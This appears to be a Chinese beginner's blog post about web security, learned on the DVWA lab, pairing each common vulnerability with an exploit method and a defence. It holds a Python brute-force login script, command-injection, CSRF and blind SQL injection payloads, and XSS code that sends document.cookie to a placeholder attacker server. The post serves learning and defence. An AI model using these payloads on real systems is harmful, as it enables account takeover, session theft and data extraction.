Web安全入门学习

前言    最近在公司做Linux下的PHP开发,所以乘此机会学习了下Web安全,了解了常见的Web安全漏洞,以及对应的防御方法(使用DVWA进行学习)。暴力破解场景    在类似用户登陆界面,如果系统没有限制用户的尝试次数,且没有验证码的情况下,就存在该漏洞利用方法import requests URL = r'http://192.168.56.101/DVWA/vulnerabilities/brute/';#破解地址 cookies = dict(security='medium', PHPSESSID='4sijad6qd225aai8ha02tr82e3')#cookie设置 users = ("root","system","admin");#用户库 pwds = ("123123","123456","password","root");#密码库 arguments = {"username":"","password":"","Login":"Login"};#构造请求参数 for user in users: for pwd in pwds: arguments['username'] = user; arguments['password'] = pwd; r = requests.get(URL,arguments,cookies=cookies); if r.text.find("Username and/or password incorrect.") == -1:#判断是否成功破解 print(user,pwd); exit(0); print("defeat");防御方法    添加验证码,限制尝试次数。命令注入场景    web服务器接受用户提交的数据,作为系统命令或程序的参数,这种情况下就会容易造成命令注入。利用方法    传入参数,构造另一个命令,比如web程序接受一个ip地址作为ping命令的参数,则我们可以传入'127.0.0.1 | dir',则dir会执行。防御方法    使用白名单。严格限制用户的输入,比如你想要一个ip地址,则必须在服务端验证用户输入的是否是一个ip地址, 永远不要相信用户提交的数据CSRF场景    在一个转账网站下,存在两个用户,用户A构造一个恶意网站给用户B,用户B单击后,自己账号中的钱全部转给了用户A。利用方法<form action="转账的URL" method='XX'> <input type='hidden' name='username' value='hacker'> <input type='hidden' name='money' value='10000'> <input type="submie"> </form>防御方法    添加csrf_token、加用户表示确认的信息(验证码、密码)文件包含场景    程序员在编写PHP服务端代码时,为了代码复用,将公用代码写成另一个文件,然后include进需要使用的代码。如果用户能控制include 的参数,则会产生文件包含漏洞利用方法防御方法    关闭远程url包含,且include的参数设置用白名单。文件上传场景    网站有上传文件的功能,如果没做好相应的防范措施,则我们可以上传webshell利用方法    如果没有限制上传文件的格式,则我们直接上传webshell。如果服务器检查了文件的格式,则我们可以抓包,然后修改数据包中,文件格式为合法格式。如果服务器对上传的文件进行了内容检查,则我们可以 copy test.img/b + test.txt/a test1.img 生成一个包含代码的图片上传,然后利用文件包含漏洞执行webshell防御方法    对上传的文件进行相应的编码,不给与执行权限SQL回显注入场景    Web服务器将sql执行的结果返回给用户(包括sql执行的错误信息)。且没有对用户输入的数据进行相应的处理,直接构造动态sql。则多半会存在SQL回显注入。则用户可以构造恶意数据,获得数据库中的信息。利用方法    由于服务器会显示SQL执行的结果(包括sql执行的错误信息),则我们可以利用order by 与 union select 猜解字段数,利用 select user(),database() 获得当先用户名与数据库名, 然后通过select table_name from information_schema.tables where table_schema='database name' 获得表名通过select column_name from information_schema.columns where table_name='table name' 获得字段名
得到表名与字段名之后,我们就可以查询数据库中的信息了。防御方法    严格限制用户的输入,在服务端进行检查,比如我们想获得一个类型为数字的id,则我们最好在服务端进行判断是否为数字,防止用户提交恶意的数据。SQL盲注场景    用户向Web服务器提交查询,服务器只会返回‘真’或‘假’,且web服务器为对用户输入的数据没有进行检查,动态构造sql语句,则多半会存在SQL盲注。则用户可以构造恶意数据,获得数据库中的信息。利用方法    由于服务器只会返回真或假,则我们可以利用 length,substr,ascii,sleep 函数获得用户名,数据库名,表名,字段名,表中对应的数据。
如服务器如下代码构造sql语句$id = $_GET('id'); $sql = 'select * from test where id = '$id''; 则我们可以这样提交id: 1' and 这里为你想执行的sql -- '
获得数据库名字的方法输入
1' and ascii(substr(database(),1,1)) = 65 -- '
这里我们猜数据库名的第一个字符为65.如果服务器中确实存在id为1的数据,则如果我们猜测数据库的第一个字符为65则返回真,否则返回假。一直猜下去就会得到数据库名。防御方法    严格限制用户的输入,在服务端进行检查,比如我们想获得一个类型为数字的id,则我们最好在服务端进行判断是否为数字,防止用户提交恶意的数据。XSS分类    XSS分存储型XSS,反射型XSS,DOM型XSS。存储型XSS,反射型XSS的区别是前一个恶意代码在数据库中,后一个在url中,相同点是输出都在HTTP响应中。反射型XSS,DOM型XSS的区别是一个输出在HTTP响应中,一个在DOM结点中, 相同点是:恶意代码都在URL中。场景    一个网站中,存在用户A与用户B,用户B构造XSS攻击,发送网址给用户A,用户A单击后,用户B就能以用户A的身份登陆网站。利用方法<script>恶意代码</script>,或<img src=x onerror="恶意代码">获取cookie的方法为,黑客架设一个web服务器接受cookie,恶意代码为:window.open('黑客服务器?cookie='+document.cookie); //或 document.location='黑客服务器?cookie='+document.cookie; 防御方法    对特殊字符进行编码(htmlspecialchars函数)总结    永远不要相信用户的输入,一定要进行合法性验证。且使用白名单而不是黑名单。

相关内容推荐